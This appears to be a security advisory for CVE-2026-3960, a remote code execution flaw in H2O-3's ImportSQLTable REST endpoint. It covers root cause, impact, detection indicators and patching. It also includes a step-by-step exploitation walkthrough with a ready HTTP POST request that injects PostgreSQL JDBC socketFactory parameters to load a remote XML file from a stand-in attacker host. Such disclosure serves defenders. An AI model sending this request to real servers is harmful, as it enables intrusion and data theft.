CVE-2026-3960: 
Java vulnerability analysis and mitigation

CVE-2026-3960 is a critical remote code execution (RCE) vulnerability in the H2O-3 machine learning platform, specifically in the unauthenticated REST API endpoint /99/ImportSQLTable. It affects H2O-3 versions 3.46.0.9 and prior (Maven package ai.h2o:h2o-core) and was disclosed on April 23, 2026. The vulnerability stems from an incomplete JDBC parameter blacklist that only covers MySQL-specific dangerous parameters, allowing attackers to bypass controls via the PostgreSQL JDBC driver. The NVD assigns a CVSS v3.1 base score of 9.8 (Critical), while the GitHub Advisory Database rates it 5.9 (Moderate) using a more conservative vector (GitHub Advisory, Feedly).

The root cause is CWE-94 (Improper Control of Generation of Code / Code Injection): the SQLManager.java class maintains a DEFAULT_JDBC_DISALLOWED_PARAMETERS blacklist that only blocked MySQL JDBC driver parameters (autoDeserialize, queryInterceptors, etc.), leaving PostgreSQL JDBC driver parameters unblocked (H2O-3 Commit). An attacker exploits this by sending an unauthenticated HTTP request to /99/ImportSQLTable with a crafted JDBC URL using the jdbc:postgresql: protocol and injecting parameters such as socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext and socketFactoryArg=http://attacker.com/evil.xml, which causes the PostgreSQL JDBC driver to instantiate an attacker-controlled class and load a remote XML application context (GitHub Advisory). Similarly, the sslfactory/sslfactoryarg and loggerLevel/loggerFile parameters could be abused for code execution or file write primitives. No authentication or user interaction is required, and the attack is executable over the network with low complexity (Feedly).

Successful exploitation allows an unauthenticated remote attacker to execute arbitrary code on the H2O-3 server with the full privileges of the H2O-3 process, resulting in complete compromise of confidentiality, integrity, and availability of the affected system. An attacker could exfiltrate sensitive training data, model artifacts, or credentials stored on the server, modify or destroy machine learning models and datasets, and use the compromised server as a pivot point for lateral movement within the network (GitHub Advisory, Feedly).

A proof-of-concept exploit has been published on Huntr (https://huntr.com/bounties/6954fe04-b905-453f-8c53-205ac8377e0d), though as of the time of reporting there is no confirmed evidence of in-the-wild exploitation (Feedly). The EPSS score is approximately 0.25–0.35%, placing it in roughly the 58th percentile for exploitation probability within 30 days (GitHub Advisory). The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no specific threat actor attribution has been reported.

1. Reconnaissance: Identify internet-facing H2O-3 instances running version 3.46.0.9 or earlier using tools like Shodan or Censys, searching for the H2O-3 web UI (default port 54321) or the REST API endpoint /99/ImportSQLTable.
2. Prepare malicious payload: Set up an attacker-controlled HTTP server hosting a malicious Spring XML application context file (e.g., evil.xml) that defines a bean executing arbitrary OS commands upon instantiation.
3. Craft the exploit request: Construct an HTTP POST request to /99/ImportSQLTable with a JDBC URL using the PostgreSQL protocol and injecting the socketFactory and socketFactoryArg parameters, for example:

   POST /99/ImportSQLTable HTTP/1.1
   Host: <target>:54321
   Content-Type: application/x-www-form-urlencoded
   
   connection_url=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext%26socketFactoryArg=http://attacker.com/evil.xml&username=foo&password=bar&table=test

4. Trigger code execution: The H2O-3 server passes the JDBC URL to the PostgreSQL JDBC driver, which instantiates the ClassPathXmlApplicationContext class with the attacker-supplied URL, fetching and executing the malicious XML bean definition.
5. Achieve persistence or lateral movement: With arbitrary code execution as the H2O-3 process user, deploy a reverse shell, exfiltrate data, or pivot to other internal systems (GitHub Advisory, H2O-3 Commit).

• Network: Inbound HTTP POST requests to /99/ImportSQLTable containing jdbc:postgresql: URLs with parameters such as socketFactory, socketFactoryArg, sslfactory, sslfactoryarg, loggerLevel, or loggerFile; outbound HTTP/HTTPS connections from the H2O-3 server process to unknown external hosts (especially fetching XML or JAR files).
• Logs: H2O-3 access logs showing POST requests to /99/ImportSQLTable with encoded or suspicious JDBC URL parameters; Java exception stack traces referencing ClassPathXmlApplicationContext or unexpected class instantiation in H2O-3 server logs.
• Process: Unexpected child processes spawned by the H2O-3 Java process (e.g., /bin/bash, curl, wget, python, nc); unusual network connections initiated by the JVM process.
• File System: Unexpected files written to the H2O-3 working directory or /tmp, including web shells, scripts, or log files at attacker-specified paths (e.g., via loggerFile parameter abuse).

Upgrade H2O-3 to version 3.46.0.10 or later, which adds socketFactory, socketFactoryArg, sslfactory, sslfactoryarg, loggerLevel, and loggerFile to the DEFAULT_JDBC_DISALLOWED_PARAMETERS blacklist (H2O-3 Commit, GitHub Advisory). As an interim workaround, restrict network access to the /99/ImportSQLTable API endpoint using firewall rules or reverse proxy ACLs to allow only trusted source IPs. Additionally, consider running H2O-3 in an isolated network segment and applying the principle of least privilege to the H2O-3 process account.

The vulnerability was discovered and reported through the Huntr bug bounty platform, which published the bounty details at https://huntr.com/bounties/6954fe04-b905-453f-8c53-205ac8377e0d. A technical write-up was published at infinitsec.net covering the RCE in H2O-3 (Feedly). No major vendor statements beyond the patch commit or widespread social media discussion have been identified at this time.